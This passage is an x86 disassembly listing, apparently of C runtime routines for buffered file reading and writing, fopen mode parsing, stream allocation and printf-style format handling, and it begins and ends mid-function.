mov esi, ebx
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF63: ; CODE XREF: sub_41EE76+ABj
movzx eax, al
add esi, eax
jmp short loc_41EF11
; ---------------------------------------------------------------------------
loc_41EF6A: ; CODE XREF: sub_41EE76+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41EF7B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41EF84
; ---------------------------------------------------------------------------
loc_41EF7B: ; CODE XREF: sub_41EE76+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EF84: ; CODE XREF: sub_41EE76+103j
mov [esi], dl
lea eax, [esi+8]
loc_41EF89: ; CODE XREF: sub_41EE76+40j
; sub_41EE76+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41EF95
; ---------------------------------------------------------------------------
loc_41EF93: ; CODE XREF: sub_41EE76+7Ej
; sub_41EE76+9Dj ...
xor eax, eax
loc_41EF95: ; CODE XREF: sub_41EE76+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41EE76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41EFD4
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F034
; ---------------------------------------------------------------------------
loc_41EFD4: ; CODE XREF: sub_41EF9A+26j
jnb short loc_41F03B
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F03B
lea eax, [ecx+edx]
loc_41EFE9: ; CODE XREF: sub_41EF9A+59j
cmp eax, esi
jnb short loc_41EFF7
cmp byte ptr [eax], 0
jnz short loc_41EFF5
inc eax
jmp short loc_41EFE9
; ---------------------------------------------------------------------------
loc_41EFF5: ; CODE XREF: sub_41EF9A+56j
cmp eax, esi
loc_41EFF7: ; CODE XREF: sub_41EF9A+51j
jnz short loc_41F03B
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F02F
cmp esi, eax
jbe short loc_41F02F
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F026
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F021
loc_41F01A: ; CODE XREF: sub_41EF9A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F01A
loc_41F021: ; CODE XREF: sub_41EF9A+7Ej
mov [ebx+4], eax
jmp short loc_41F02F
; ---------------------------------------------------------------------------
loc_41F026: ; CODE XREF: sub_41EF9A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F02F: ; CODE XREF: sub_41EF9A+68j
; sub_41EF9A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F034: ; CODE XREF: sub_41EF9A+38j
mov [ebp+var_4], 1
loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j
; sub_41EF9A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41EF9A endp
; =============== S U B R O U T I N E =======================================
sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p
; sub_41BB4F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F117
test al, 40h
jnz loc_41F117
test al, 2
jz short loc_41F069
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F117
; ---------------------------------------------------------------------------
loc_41F069: ; CODE XREF: sub_41F043+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F07D
push esi
call sub_4239EF
pop ecx
jmp short loc_41F082
; ---------------------------------------------------------------------------
loc_41F07D: ; CODE XREF: sub_41F043+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F082: ; CODE XREF: sub_41F043+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F106
cmp eax, 0FFFFFFFFh
jz short loc_41F106
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F0DB
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F0C4
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DCC80[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F0C9
; ---------------------------------------------------------------------------
loc_41F0C4: ; CODE XREF: sub_41F043+6Bj
mov edi, offset dword_43D000
loc_41F0C9: ; CODE XREF: sub_41F043+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F0DB
or dh, 20h
mov [esi+0Ch], edx
loc_41F0DB: ; CODE XREF: sub_41F043+62j
; sub_41F043+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F0F8
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F0F8
test ch, 4
jnz short loc_41F0F8
mov dword ptr [esi+18h], 1000h
loc_41F0F8: ; CODE XREF: sub_41F043+9Fj
; sub_41F043+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F106: ; CODE XREF: sub_41F043+55j
; sub_41F043+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F117: ; CODE XREF: sub_41F043+Aj
; sub_41F043+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F043 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F11C proc near ; CODE XREF: sub_41B11A+90p
; sub_41F043+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DCD80
jnb loc_41F2F9
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DCC80h[eax*4]
mov eax, dword_4DCC80[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F2F9
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F1D1
test dl, 2
jnz short loc_41F1D1
test dl, 48h
jz short loc_41F191
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F191
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F191: ; CODE XREF: sub_41F11C+56j
; sub_41F11C+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 28B0000h
test eax, eax
jnz short loc_41F1E4
nop
call near ptr 2830047h
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F1CC
mov dword_4DB928, 9
mov dword_4DB92C, ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1CC: ; CODE XREF: sub_41F11C+99j
cmp eax, 6Dh
jnz short loc_41F1D8
loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj
; sub_41F11C+51j
xor eax, eax
jmp loc_41F30D
; ---------------------------------------------------------------------------
loc_41F1D8: ; CODE XREF: sub_41F11C+B3j
push eax
call sub_4203DF
pop ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F2F4
test edx, edx
jz short loc_41F209
cmp byte ptr [edi], 0Ah
jnz short loc_41F209
or al, 4
jmp short loc_41F20B
; ---------------------------------------------------------------------------
loc_41F209: ; CODE XREF: sub_41F11C+E2j
; sub_41F11C+E7j
and al, 0FBh
loc_41F20B: ; CODE XREF: sub_41F11C+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F2EE
loc_41F223: ; CODE XREF: sub_41F11C+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F2DE
cmp al, 0Dh
jz short loc_41F23F
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F23F: ; CODE XREF: sub_41F11C+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F25D
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F254
add [ebp+arg_8], 2
jmp short loc_41F2B2
; ---------------------------------------------------------------------------
loc_41F254: ; CODE XREF: sub_41F11C+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F25D: ; CODE XREF: sub_41F11C+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 28B0000h
nop
test eax, eax
jnz short loc_41F285
nop
call near ptr 2830047h
test eax, eax
jnz short loc_41F2CC
loc_41F285: ; CODE XREF: sub_41F11C+15Dj
cmp [ebp+var_C], 0
jz short loc_41F2CC
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F2A7
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F2B2
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F2A7: ; CODE XREF: sub_41F11C+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F2B7
cmp [ebp+var_1], 0Ah
jnz short loc_41F2B7
loc_41F2B2: ; CODE XREF: sub_41F11C+136j
; sub_41F11C+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F2CF
; ---------------------------------------------------------------------------
loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej
; sub_41F11C+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_42272B
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F2D0
loc_41F2CC: ; CODE XREF: sub_41F11C+167j
; sub_41F11C+16Dj
mov byte ptr [edi], 0Dh
loc_41F2CF: ; CODE XREF: sub_41F11C+199j
inc edi
loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej
; sub_41F11C+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F223
jmp short loc_41F2EE
; ---------------------------------------------------------------------------
loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41F2EE
or al, 2
mov [esi], al
loc_41F2EE: ; CODE XREF: sub_41F11C+101j
; sub_41F11C+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F2F4: ; CODE XREF: sub_41F11C+DAj
mov eax, [ebp+var_8]
jmp short loc_41F30D
; ---------------------------------------------------------------------------
loc_41F2F9: ; CODE XREF: sub_41F11C+12j
; sub_41F11C+39j
and dword_4DB92C, 0
mov dword_4DB928, 9
loc_41F30A: ; CODE XREF: sub_41F11C+ABj
; sub_41F11C+C3j
or eax, 0FFFFFFFFh
loc_41F30D: ; CODE XREF: sub_41F11C+B7j
; sub_41F11C+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F11C endp
; =============== S U B R O U T I N E =======================================
sub_41F312 proc near ; CODE XREF: sub_41B202+126p
; sub_41B202+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DB9A8
test eax, eax
jz short loc_41F32A
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41F32A
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F312+7j
; sub_41F312+12j
xor eax, eax
retn
sub_41F312 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DBB14
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41F366
cmp al, 72h
jz short loc_41F35F
cmp al, 77h
jnz loc_41F47A
mov ecx, 301h
jmp short loc_41F36B
; ---------------------------------------------------------------------------
loc_41F35F: ; CODE XREF: sub_41F32D+21j
xor ecx, ecx
or esi, 1
jmp short loc_41F36E
; ---------------------------------------------------------------------------
loc_41F366: ; CODE XREF: sub_41F32D+1Dj
mov ecx, 109h
loc_41F36B: ; CODE XREF: sub_41F32D+30j
or esi, 2
loc_41F36E: ; CODE XREF: sub_41F32D+37j
push 1
pop edx
loc_41F371: ; CODE XREF: sub_41F32D+8Bj
; sub_41F32D+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41F460
cmp edx, ebx
jz loc_41F460
movsx eax, al
cmp eax, 54h
jg short loc_41F3FF
jz short loc_41F3EF
sub eax, 2Bh
jz short loc_41F3D9
sub eax, 19h
jz short loc_41F3CF
sub eax, 0Eh
jz short loc_41F3BA
dec eax
jnz loc_41F451
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj
test cl, 40h
jnz short loc_41F451
or ecx, 40h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3D9: ; CODE XREF: sub_41F32D+65j
test cl, 2
jnz short loc_41F451
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3EF: ; CODE XREF: sub_41F32D+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41F451
or ecx, eax
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej
sub eax, 62h
jz short loc_41F44C
dec eax
jz short loc_41F435
sub eax, 0Bh
jz short loc_41F41E
sub eax, 6
jnz short loc_41F451
test ch, 0C0h
jnz short loc_41F451
or ch, 40h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F41E: ; CODE XREF: sub_41F32D+DDj
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F435: ; CODE XREF: sub_41F32D+D8j
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F44C: ; CODE XREF: sub_41F32D+D5j
test ch, 0C0h
jz short loc_41F458
loc_41F451: ; CODE XREF: sub_41F32D+72j
; sub_41F32D+7Bj ...
xor edx, edx
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F458: ; CODE XREF: sub_41F32D+122j
or ch, 80h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F460: ; CODE XREF: sub_41F32D+4Aj
; sub_41F32D+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_423A33
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41F47E
loc_41F47A: ; CODE XREF: sub_41F32D+25j
xor eax, eax
jmp short loc_41F498
; ---------------------------------------------------------------------------
loc_41F47E: ; CODE XREF: sub_41F32D+14Bj
mov eax, [ebp+arg_C]
inc dword_4DBB10
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41F498: ; CODE XREF: sub_41F32D+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F32D endp
; =============== S U B R O U T I N E =======================================
sub_41F49D proc near ; CODE XREF: sub_41B4A2p
mov edx, dword_4DCC60
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41F50E
mov ebx, dword_4DBC48
mov edi, ebx
loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41F4D4
test byte ptr [ecx+0Ch], 83h
jz short loc_41F4CF
inc eax
add edi, 4
cmp eax, edx
jl short loc_41F4B9
jmp short loc_41F50E
; ---------------------------------------------------------------------------
loc_41F4CF: ; CODE XREF: sub_41F49D+26j
mov esi, [ebx+eax*4]
jmp short loc_41F4F8
; ---------------------------------------------------------------------------
loc_41F4D4: ; CODE XREF: sub_41F49D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41B4D5
pop ecx
mov ecx, dword_4DBC48
mov [edi+ecx], eax
mov eax, dword_4DBC48
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41F50E
mov esi, edi
loc_41F4F8: ; CODE XREF: sub_41F49D+35j
cmp esi, ebp
jz short loc_41F50E
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41F50E: ; CODE XREF: sub_41F49D+12j
; sub_41F49D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F49D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p
; sub_41B6EE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41F533
mov ecx, off_43C9A8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41F585
; ---------------------------------------------------------------------------
loc_41F533: ; CODE XREF: sub_41F515+10j
mov ecx, eax
push esi
mov esi, off_43C9A8
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41F558
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41F561
; ---------------------------------------------------------------------------
loc_41F558: ; CODE XREF: sub_41F515+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41F561: ; CODE XREF: sub_41F515+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_423CEC
add esp, 1Ch
test eax, eax
jnz short loc_41F581
leave
retn
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F515+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41F585: ; CODE XREF: sub_41F515+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41F515 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F58A proc near ; CODE XREF: sub_41B886+46p
; sub_41B980+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41F693
test al, 40h
jnz loc_41F693
test al, 1
jz short loc_41F5C2
and dword ptr [esi+4], 0
test al, 10h
jz loc_41F693
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41F5C2: ; CODE XREF: sub_41F58A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F5FC
cmp esi, offset dword_43D0B8
jz short loc_41F5EA
cmp esi, offset dword_43D0D8
jnz short loc_41F5F5
loc_41F5EA: ; CODE XREF: sub_41F58A+56j
push ebx
call sub_423E35
test eax, eax
pop ecx
jnz short loc_41F5FC
loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej
push esi
call sub_4239EF
pop ecx
loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej
; sub_41F58A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41F669
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41F62C
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41F65F
; ---------------------------------------------------------------------------
loc_41F62C: ; CODE XREF: sub_41F58A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41F647
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DCC80[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41F64C
; ---------------------------------------------------------------------------
loc_41F647: ; CODE XREF: sub_41F58A+A5j
mov eax, offset dword_43D000
loc_41F64C: ; CODE XREF: sub_41F58A+BBj
test byte ptr [eax+4], 20h
jz short loc_41F65F
push 2
push 0
push ebx
call sub_42272B
add esp, 0Ch
loc_41F65F: ; CODE XREF: sub_41F58A+A0j
; sub_41F58A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41F67D
; ---------------------------------------------------------------------------
loc_41F669: ; CODE XREF: sub_41F58A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41F67D: ; CODE XREF: sub_41F58A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41F689
or dword ptr [esi+0Ch], 20h
jmp short loc_41F698
; ---------------------------------------------------------------------------
loc_41F689: ; CODE XREF: sub_41F58A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41F69B
; ---------------------------------------------------------------------------
loc_41F693: ; CODE XREF: sub_41F58A+10j
; sub_41F58A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41F698: ; CODE XREF: sub_41F58A+FDj
or eax, 0FFFFFFFFh
loc_41F69B: ; CODE XREF: sub_41F58A+107j
pop esi
pop ebx
pop ebp
retn
sub_41F58A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F69F proc near ; CODE XREF: sub_41B886+29p
; sub_41B980+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41FDB8
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41F6D3
; ---------------------------------------------------------------------------
loc_41F6CB: ; CODE XREF: sub_41F69F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj
cmp [ebp+var_14], edx
jl loc_41FDB8
cmp bl, 20h
jl short loc_41F6F4
cmp bl, 78h
jg short loc_41F6F4
movsx eax, bl
mov al, [eax+42773Ch]
and eax, 0Fh
jmp short loc_41F6F6
; ---------------------------------------------------------------------------
loc_41F6F4: ; CODE XREF: sub_41F69F+40j
; sub_41F69F+45j
xor eax, eax
loc_41F6F6: ; CODE XREF: sub_41F69F+53j
movsx eax, byte_42775C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41FDA7 ; default
jmp off_41FDC0[eax*4] ; switch jump
loc_41F714: ; DATA XREF: ___:off_41FDC0o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F72F: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 2
sub eax, 20h
jz short loc_41F772
sub eax, 3
jz short loc_41F769
sub eax, 8
jz short loc_41F760
dec eax
dec eax
jz short loc_41F757
sub eax, 3
jnz loc_41FDA7 ; default
or [ebp+var_4], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F757: ; CODE XREF: sub_41F69F+A4j
or [ebp+var_4], 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F760: ; CODE XREF: sub_41F69F+A0j
or [ebp+var_4], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F769: ; CODE XREF: sub_41F69F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F772: ; CODE XREF: sub_41F69F+96j
or [ebp+var_4], 2
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F77B: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 3
jnz short loc_41F7A3
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41FDA7 ; default
or [ebp+var_4], 4
neg eax
loc_41F79B: ; CODE XREF: sub_41F69F+111j
mov [ebp+var_20], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7A3: ; CODE XREF: sub_41F69F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41F79B
; ---------------------------------------------------------------------------
loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov [ebp+var_10], edx ; jumptable 0041F70D case 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 5
jnz short loc_41F7DD
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41FDA7 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 49h ; jumptable 0041F70D case 6
jz short loc_41F822
cmp bl, 68h
jz short loc_41F819
cmp bl, 6Ch
jz short loc_41F810
cmp bl, 77h
jnz loc_41FDA7 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F810: ; CODE XREF: sub_41F69F+15Dj
or [ebp+var_4], 10h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F819: ; CODE XREF: sub_41F69F+158j
or [ebp+var_4], 20h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F822: ; CODE XREF: sub_41F69F+153j
cmp byte ptr [edi], 36h
jnz short loc_41F83B
cmp byte ptr [edi+1], 34h
jnz short loc_41F83B
inc edi
inc edi
